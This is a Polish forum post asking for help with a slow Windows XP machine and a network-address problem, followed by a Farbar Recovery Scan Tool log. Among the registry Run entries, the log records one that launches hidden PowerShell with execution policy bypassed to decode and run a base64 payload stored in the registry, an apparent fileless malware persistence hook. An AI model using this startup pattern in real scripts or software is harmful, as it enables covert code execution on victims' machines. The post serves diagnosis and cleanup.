ADVERTISEMENT

FRST.txt

Windows XP - Spowolnienie systemu i problem z łączem internetowym

Problem z pobieraniem adresu występuje po wifi i ethernet wpisanie stałego ip daje dostęp do internetu ale przy ikonce i tak pisze pobieranie adresu sieciowego.


Download file - link to post

Rezultaty skanowania Farbar Recovery Scan Tool (FRST) (x86) Wersja:29-05-2016 02
Uruchomiony przez Rafal (administrator) RAFA-840358DDA7 (31-05-2016 19:31:44)
Uruchomiony z C:\Documents and Settings\Rafal\Moje dokumenty\Downloads
Załadowane profile: Rafal (Dostępne profile: Rafal)
Platform: Microsoft Windows XP Home Edition Dodatek Service Pack 3 (X86) Język: Polski
Internet Explorer Wersja 8 (Domyślna przeglądarka: FF)
Tryb startu: Normal
Instrukcja obsługi Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Procesy (filtrowane) =================

(Załączenie wejścia w fixlist spowoduje zamknięcie procesu. Powiązany plik nie zostanie przeniesiony.)

(ESET) C:\Program Files\ESET\ESET NOD32 Antivirus\ekrn.exe
(Intel Corporation) C:\WINDOWS\system32\hkcmd.exe
(Realtek Semiconductor Corp.) C:\WINDOWS\RTHDCPL.exe
(CrypKey (Canada) Ltd.) C:\WINDOWS\system32\Crypserv.exe
(Malwarebytes) C:\Program Files\Malwarebytes Anti-Malware\mbamscheduler.exe
(Malwarebytes) C:\Program Files\Malwarebytes Anti-Malware\mbamservice.exe
(Microsoft Corporation) C:\WINDOWS\system32\wuauclt.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe


==================== Rejestr (filtrowane) ===========================

(Załączenie wejścia w fixlist spowoduje usunięcie obiektu z rejestru lub przywrócenie jego domyślnej postaci. Powiązany plik nie zostanie przeniesiony.)

HKLM\...\Run: [DWPersistentQueuedReporting] = & gt; C:\Program Files\Common Files\Microsoft Shared\DW\DWTRIG20.EXE [39264 2007-03-13] (Microsoft Corporation)
HKLM\...\Run: [AzMixerSel] = & gt; C:\Program Files\Realtek\Audio\InstallShield\AzMixerSel.exe [53248 2006-07-17] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RTHDCPL] = & gt; C:\WINDOWS\RTHDCPL.EXE [16861696 2008-04-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [Alcmtr] = & gt; C:\WINDOWS\ALCMTR.EXE [69632 2005-05-03] (Realtek Semiconductor Corp.)
HKLM\...\Run: [NvCplDaemon] = & gt; RUNDLL32.EXE C:\WINDOWS\system32\NvCpl.dll,NvStartup
HKLM\...\Run: [nwiz] = & gt; nwiz.exe /install
Winlogon\Notify\RailNotification:
HKU\S-1-5-19\...\Run: [KB976002-v5] = & gt; rundll32.exe advpack.dll,LaunchINFSection OPMWXPUP.inf,BrowserChoiceGoo
HKU\S-1-5-21-299502267-796845957-1606980848-1005\...\Run: [{2C8DCF86-3EF0-4A60-9089-A4D144A6EDB7}] = & gt; powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\TYMJTTZBJQZUIO').RSFHRUNFSJ)));
HKU\S-1-5-21-299502267-796845957-1606980848-1005\...\MountPoints2: {f5a16bf6-15bf-11e6-97f3-000fea3eae42} - D:\setup.exe
HKU\S-1-5-18\...\Run: [KB976002-v5] = & gt; rundll32.exe advpack.dll,LaunchINFSection OPMWXPUP.inf,BrowserChoiceGoo
SecurityProviders: msapsspc.dll, schannel.dll, msnsspc.dll, digest.dll
ShellExecuteHooks: Windows Desktop Search Namespace Manager - {56F9679E-7826-4C84-81F3-532071A8BCC5} - C:\Program Files\Windows Desktop Search\MSNLNamespaceMgr.dll [304128 2014-04-29] (Microsoft Corporation)

==================== Internet (filtrowane) ====================

(Załączenie wejścia w fixlist, w przypadku gdy jest to obiekt rejestru, spowoduje usunięcie go z rejestru lub przywrócenie jego domyślnej postaci.)

Tcpip\..\Interfaces\{5B0F0DB5-29F8-4A07-B016-29072A12FC59}: [NameServer] 8.8.8.8,8.8.8.4
Tcpip\..\Interfaces\{CEBC1AB3-09C2-470F-BECE-6DEA89604A18}: [NameServer] 8.8.8.8,8.8.8.4
Tcpip\..\Interfaces\{CEBC1AB3-09C2-470F-BECE-6DEA89604A18}: [DhcpNameServer] 192.168.1.1

Internet Explorer:
==================

FireFox:
========
FF ProfilePath: C:\Documents and Settings\Rafal\Dane aplikacji\Mozilla\Firefox\Profiles\nt357cxr.default
FF Plugin: @adobe.com/FlashPlayer - & gt; C:\WINDOWS\system32\Macromed\Flash\NPSWF32_17_0_0_134.dll [2016-04-09] ()
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 - & gt; C:\Program Files\Microsoft Silverlight\5.1.30214.0\npctrl.dll [2014-04-29] ( Microsoft Corporation)
FF Plugin: @microsoft.com/WPF,version=3.5 - & gt; C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-29] (Microsoft Corporation)
FF Plugin: @tools.google.com/Google Update;version=3 - & gt; C:\Program Files\Google\Update\1.3.30.3\npGoogleUpdate3.dll [2016-05-12] (Google Inc.)
FF Plugin: @tools.google.com/Google Update;version=9 - & gt; C:\Program Files\Google\Update\1.3.30.3\npGoogleUpdate3.dll [2016-05-12] (Google Inc.)
FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
FF Extension: Microsoft .NET Framework Assistant - C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2016-04-05] [Brak podpisu cyfrowego]

Chrome:
=======
CHR Profile: C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default
CHR Extension: (Prezentacje Google) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-04-05]
CHR Extension: (Dokumenty Google) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2016-04-05]
CHR Extension: (Dysk Google) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-04-05]
CHR Extension: (YouTube) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-04-05]
CHR Extension: (Arkusze Google) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2016-04-05]
CHR Extension: (Dokumenty Google offline) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-04-06]
CHR Extension: (Płatności w sklepie Chrome Web Store) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-05]
CHR Extension: (Gmail) - C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-04-05]

==================== Usługi (filtrowane) ========================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R2 Crypkey License; C:\WINDOWS\system32\crypserv.exe [69632 2006-09-22] (CrypKey (Canada) Ltd.) [Brak podpisu cyfrowego]
S4 Disc Soft Lite Bus Service; C:\Program Files\DAEMON Tools Lite\DiscSoftBusService.exe [1082560 2016-03-03] (Disc Soft Ltd) [Brak podpisu cyfrowego]
R2 ekrn; C:\Program Files\ESET\ESET NOD32 Antivirus\ekrn.exe [1983264 2016-03-03] (ESET)
R2 MBAMScheduler; C:\Program Files\Malwarebytes Anti-Malware\mbamscheduler.exe [1514464 2016-03-10] (Malwarebytes)
R2 MBAMService; C:\Program Files\Malwarebytes Anti-Malware\mbamservice.exe [1136608 2016-03-10] (Malwarebytes)

===================== Sterowniki (filtrowane) ==========================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)

R3 AR5211; C:\WINDOWS\System32\DRIVERS\ar5211.sys [547904 2007-07-26] (Atheros Communications, Inc.)
R3 dtlitescsibus; C:\WINDOWS\System32\DRIVERS\dtlitescsibus.sys [26168 2016-05-09] (Disc Soft Ltd)
R3 dtliteusbbus; C:\WINDOWS\System32\DRIVERS\dtliteusbbus.sys [40504 2016-05-09] (Disc Soft Ltd)
S1 DumpDrv; C:\WINDOWS\system32\Drivers\DumpDrv.sys [9472 2014-04-29] (Microsoft Corporation)
R1 eamonm; C:\WINDOWS\System32\DRIVERS\eamonm.sys [206312 2016-04-14] (ESET)
R1 ehdrv; C:\WINDOWS\System32\DRIVERS\ehdrv.sys [146024 2016-04-14] (ESET)
R1 epfwtdir; C:\WINDOWS\System32\DRIVERS\epfwtdir.sys [127496 2016-04-14] (ESET)
R0 giveio; C:\WINDOWS\System32\giveio.sys [5248 1996-04-03] () [Brak podpisu cyfrowego]
R3 MBAMProtector; C:\WINDOWS\system32\drivers\mbam.sys [24448 2016-03-10] (Malwarebytes)
S3 MBAMSwissArmy; C:\WINDOWS\system32\drivers\MBAMSwissArmy.sys [170200 2016-05-31] (Malwarebytes)
R1 NetworkX; C:\WINDOWS\system32\ckldrv.sys [31846 2006-01-10] () [Brak podpisu cyfrowego]
R0 speedfan; C:\WINDOWS\System32\speedfan.sys [24184 2012-12-29] (Almico Software)
S4 IntelIde; Brak ImagePath
U5 Sdbus; C:\Windows\System32\Drivers\Sdbus.sys [80384 2014-04-29] (Microsoft Corporation)
U1 WS2IFSL; Brak ImagePath

==================== NetSvcs (filtrowane) ===================

(Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.)


==================== Jeden miesiąc - utworzone pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-05-31 19:30 - 2016-05-31 19:31 - 00000000 ____D C:\FRST
2016-05-31 19:24 - 2016-05-31 19:28 - 00000000 ____D C:\AdwCleaner
2016-05-31 19:23 - 2016-05-31 19:25 - 00170200 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
2016-05-31 19:22 - 2016-05-31 19:22 - 00000777 _____ C:\Documents and Settings\All Users\Pulpit\Malwarebytes Anti-Malware.lnk
2016-05-31 19:22 - 2016-05-31 19:22 - 00000000 ____D C:\Program Files\Malwarebytes Anti-Malware
2016-05-31 19:22 - 2016-05-31 19:22 - 00000000 ____D C:\Documents and Settings\All Users\Menu Start\Programy\Malwarebytes Anti-Malware
2016-05-31 19:22 - 2016-05-31 19:22 - 00000000 ____D C:\Documents and Settings\All Users\Dane aplikacji\Malwarebytes
2016-05-31 19:22 - 2016-03-10 14:09 - 00123264 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamchameleon.sys
2016-05-31 19:22 - 2016-03-10 14:08 - 00024448 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbam.sys
2016-05-30 20:47 - 2016-05-31 19:29 - 00007190 _____ C:\WINDOWS\Tasks\SCHEDLGU.TXT
2016-05-30 09:48 - 2016-05-30 09:51 - 00000000 ____D C:\Documents and Settings\Rafal\Pulpit\Nowy folder
2016-05-22 14:10 - 2016-05-22 14:11 - 00000000 ____D C:\WINDOWS\pss
2016-05-12 16:36 - 2016-05-12 16:36 - 00000000 ____D C:\Documents and Settings\LocalService\Ustawienia lokalne\Dane aplikacji\ESET
2016-05-12 16:28 - 2016-05-13 16:12 - 00000000 ____D C:\Program Files\Mozilla Firefox
2016-05-12 16:23 - 2016-05-12 16:23 - 00000000 ____D C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\ESET
2016-05-12 16:14 - 2016-05-12 16:14 - 00000000 ____D C:\Program Files\ESET
2016-05-12 16:14 - 2016-05-12 16:14 - 00000000 ____D C:\Documents and Settings\All Users\Menu Start\Programy\ESET
2016-05-12 16:14 - 2016-05-12 16:14 - 00000000 ____D C:\Documents and Settings\All Users\Dane aplikacji\ESET
2016-05-12 15:47 - 2016-05-12 15:47 - 00000000 ____D C:\Documents and Settings\Rafal\Pulpit\Egzaminy M 18 M12
2016-05-09 10:58 - 2016-05-22 14:18 - 00002240 _____ C:\WINDOWS\system32\esnecil.ind
2016-05-09 10:58 - 2016-05-22 14:18 - 00000004 _____ C:\WINDOWS\vx86036.dat
2016-05-09 10:58 - 2016-05-09 11:34 - 00002240 _____ C:\WINDOWS\system32\esnecil.nlp
2016-05-09 10:58 - 2016-05-09 10:58 - 00000181 _____ C:\CKINFO.TXT
2016-05-09 10:56 - 2016-05-09 10:56 - 00199215 _____ C:\Documents and Settings\LocalService\Ustawienia lokalne\Dane aplikacji\WPFFontCache_v0400-S-1-5-21-299502267-796845957-1606980848-1005-0.dat
2016-05-09 10:56 - 2016-05-09 10:56 - 00083318 _____ C:\Documents and Settings\LocalService\Ustawienia lokalne\Dane aplikacji\WPFFontCache_v0400-System.dat
2016-05-09 10:55 - 2016-05-09 10:55 - 00000628 _____ C:\Documents and Settings\All Users\Pulpit\eTECH.lnk
2016-05-09 10:55 - 2016-05-09 10:55 - 00000083 _____ C:\WINDOWS\Crypkey.ini
2016-05-09 10:55 - 2016-05-09 10:55 - 00000000 ____D C:\Documents and Settings\All Users\Menu Start\Programy\eTECH
2016-05-09 10:55 - 2016-05-09 10:55 - 00000000 ____D C:\Documents and Settings\All Users\Dane aplikacji\WorkshopData
2016-05-09 10:55 - 2006-09-22 01:33 - 00069632 _____ (CrypKey (Canada) Ltd.) C:\WINDOWS\system32\Crypserv.exe
2016-05-09 10:55 - 2006-02-16 15:29 - 00102592 _____ (Neva Object Technology, Inc.) C:\WINDOWS\system32\corojdk11.dll
2016-05-09 10:55 - 2006-01-10 04:47 - 00031846 _____ C:\WINDOWS\system32\Ckldrv.sys
2016-05-09 10:55 - 1999-06-18 23:49 - 00165888 _____ (Kenonic Controls) C:\WINDOWS\Ckconfig.exe
2016-05-09 10:55 - 1996-05-03 19:21 - 00027648 ____R C:\WINDOWS\Setup_ck.exe
2016-05-09 10:55 - 1996-05-03 17:36 - 00018432 _____ C:\WINDOWS\Setup_ck.dll
2016-05-09 10:55 - 1995-07-04 20:33 - 00011776 _____ C:\WINDOWS\Ckrfresh.exe
2016-05-09 10:32 - 2016-05-09 10:55 - 00000000 ____D C:\Program Files\eTECH
2016-05-09 10:32 - 2016-05-09 10:32 - 00000000 ___HD C:\Program Files\Zero G Registry
2016-05-09 10:32 - 2016-05-09 10:32 - 00000000 ___HD C:\Documents and Settings\Rafal\InstallAnywhere
2016-05-09 10:30 - 2016-05-09 10:31 - 00000000 ____D C:\Documents and Settings\Rafal\Dane aplikacji\DAEMON Tools Lite
2016-05-09 10:30 - 2016-05-09 10:30 - 00040504 _____ (Disc Soft Ltd) C:\WINDOWS\system32\Drivers\dtliteusbbus.sys
2016-05-09 10:30 - 2016-05-09 10:30 - 00026168 _____ (Disc Soft Ltd) C:\WINDOWS\system32\Drivers\dtlitescsibus.sys
2016-05-09 10:30 - 2016-05-09 10:30 - 00001643 _____ C:\Documents and Settings\All Users\Pulpit\DAEMON Tools Lite.lnk
2016-05-09 10:30 - 2016-05-09 10:30 - 00000000 ____D C:\Program Files\DAEMON Tools Lite
2016-05-09 10:30 - 2016-05-09 10:30 - 00000000 ____D C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji\Disc_Soft_Ltd
2016-05-09 10:30 - 2016-05-09 10:30 - 00000000 ____D C:\Documents and Settings\All Users\Menu Start\Programy\DAEMON Tools Lite
2016-05-09 10:29 - 2016-05-09 10:29 - 00000000 ____D C:\Documents and Settings\All Users\Dane aplikacji\DAEMON Tools Lite
2016-05-02 20:42 - 2016-05-02 20:42 - 00000664 _____ C:\WINDOWS\system32\d3d9caps.dat

==================== Jeden miesiąc - zmodyfikowane pliki i foldery ========

(Załączenie wejścia w fixlist spowoduje przeniesienie pliku/folderu.)

2016-05-31 19:32 - 2016-04-05 20:11 - 00000000 ____D C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp
2016-05-31 19:31 - 2016-04-05 20:40 - 00000527 _____ C:\WINDOWS\win.ini
2016-05-31 19:29 - 2016-04-05 20:40 - 00011878 _____ C:\WINDOWS\system32\wpa.dbl
2016-05-31 19:28 - 2016-04-05 20:11 - 00000188 ___SH C:\Documents and Settings\Rafal\ntuser.ini
2016-05-31 19:28 - 2016-04-05 20:10 - 00393216 _____ C:\WINDOWS\system32\config\WindowsPowerShell.evt
2016-05-31 19:22 - 2016-04-05 21:31 - 00000000 __RHD C:\Documents and Settings\All Users\Dane aplikacji
2016-05-31 19:22 - 2016-04-05 21:31 - 00000000 ___RD C:\Documents and Settings\All Users\Menu Start\Programy
2016-05-31 19:22 - 2016-04-05 21:31 - 00000000 ____D C:\Documents and Settings\All Users\Pulpit
2016-05-31 19:07 - 2016-04-05 21:31 - 01497864 _____ C:\WINDOWS\setuplog.txt
2016-05-31 19:07 - 2016-04-05 20:36 - 00011878 _____ C:\WINDOWS\system32\wpa.bak
2016-05-31 19:05 - 2016-04-05 21:32 - 01312714 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2016-05-31 19:05 - 2016-04-05 20:52 - 00586870 _____ C:\WINDOWS\system32\perfh015.dat
2016-05-31 19:05 - 2016-04-05 20:52 - 00118014 _____ C:\WINDOWS\system32\perfc015.dat
2016-05-31 18:51 - 2016-04-05 20:11 - 00000000 ____D C:\Documents and Settings\Rafal
2016-05-30 20:35 - 2016-04-05 20:02 - 00000930 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job
2016-05-30 20:28 - 2016-04-05 21:42 - 00001032 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job
2016-05-30 20:28 - 2016-04-05 20:11 - 00000222 _____ C:\WINDOWS\Tasks\Powiadomienie o zakończeniu obsługi systemu Microsoft Windows XP — logowanie.job
2016-05-30 20:28 - 2016-04-05 20:10 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT
2016-05-30 10:55 - 2016-04-05 20:10 - 00031956 _____ C:\WINDOWS\SchedLgU.Txt
2016-05-30 10:52 - 2016-04-05 21:42 - 00001036 _____ C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job
2016-05-30 09:48 - 2016-04-05 20:11 - 00000000 ____D C:\Documents and Settings\Rafal\Pulpit
2016-05-28 13:53 - 2016-04-10 20:13 - 00000000 ____D C:\Program Files\SpeedFan
2016-05-22 14:37 - 2016-04-05 21:29 - 00000211 ___SH C:\boot.ini
2016-05-22 14:37 - 2016-04-05 20:42 - 00000227 _____ C:\WINDOWS\system.ini
2016-05-22 14:11 - 2016-04-05 21:31 - 00000000 ___RD C:\Documents and Settings\All Users\Menu Start\Programy\Autostart
2016-05-22 11:10 - 2016-04-07 17:19 - 00000000 ____D C:\Program Files\Steam
2016-05-15 11:09 - 2016-04-05 20:04 - 00000000 ___HD C:\WINDOWS\inf
2016-05-14 08:43 - 2016-04-09 15:47 - 00000000 ____D C:\Program Files\Mozilla Maintenance Service
2016-05-13 15:52 - 2016-04-05 20:11 - 00000000 ___HD C:\Documents and Settings\Rafal\Ustawienia lokalne\Dane aplikacji
2016-05-12 20:17 - 2016-04-05 21:31 - 00000000 ____D C:\Documents and Settings\All Users
2016-05-12 16:36 - 2016-04-05 20:10 - 00000000 ___HD C:\Documents and Settings\LocalService\Ustawienia lokalne\Dane aplikacji
2016-05-09 10:30 - 2016-04-05 21:31 - 00000000 ___RD C:\Documents and Settings\All Users\Dokumenty
2016-05-09 10:30 - 2016-04-05 20:11 - 00000000 __RHD C:\Documents and Settings\Rafal\Dane aplikacji
2016-05-08 11:43 - 2016-04-10 13:58 - 00000000 ____D C:\Documents and Settings\Rafal\Moje dokumenty\Euro Truck Simulator 2
2016-05-02 20:43 - 2016-04-06 16:43 - 00292716 _____ C:\WINDOWS\system32\nvdrsdb0.bin
2016-05-02 20:43 - 2016-04-06 16:43 - 00000001 _____ C:\WINDOWS\system32\nvdrssel.bin

Pliki do przeniesienia lub usunięcia:
====================
C:\Documents and Settings\Default User\Del1C61.bat
C:\Documents and Settings\Rafal\Del1C61.bat


Niektóre pliki w TEMP:
====================
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\AppInstaller.exe
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\bitool.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\cdo3429067303.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\cdo3615667568.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\libeay32.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\msvcr120.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\proxy_vole8021407453008870154.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\sfamcc00001.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\sfextra.dll
C:\Documents and Settings\Rafal\Ustawienia lokalne\Temp\sqlite3.dll


==================== Bamital & volsnap =================

(Brak automatycznej naprawy dla plików które nie przeszły weryfikacji.)

C:\WINDOWS\explorer.exe = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\winlogon.exe = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\svchost.exe = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\services.exe = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\User32.dll = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\userinit.exe = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\rpcss.dll = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\dnsapi.dll = & gt; Plik podpisany cyfrowo
C:\WINDOWS\system32\Drivers\volsnap.sys = & gt; Plik podpisany cyfrowo

==================== Koniec FRST.txt ============================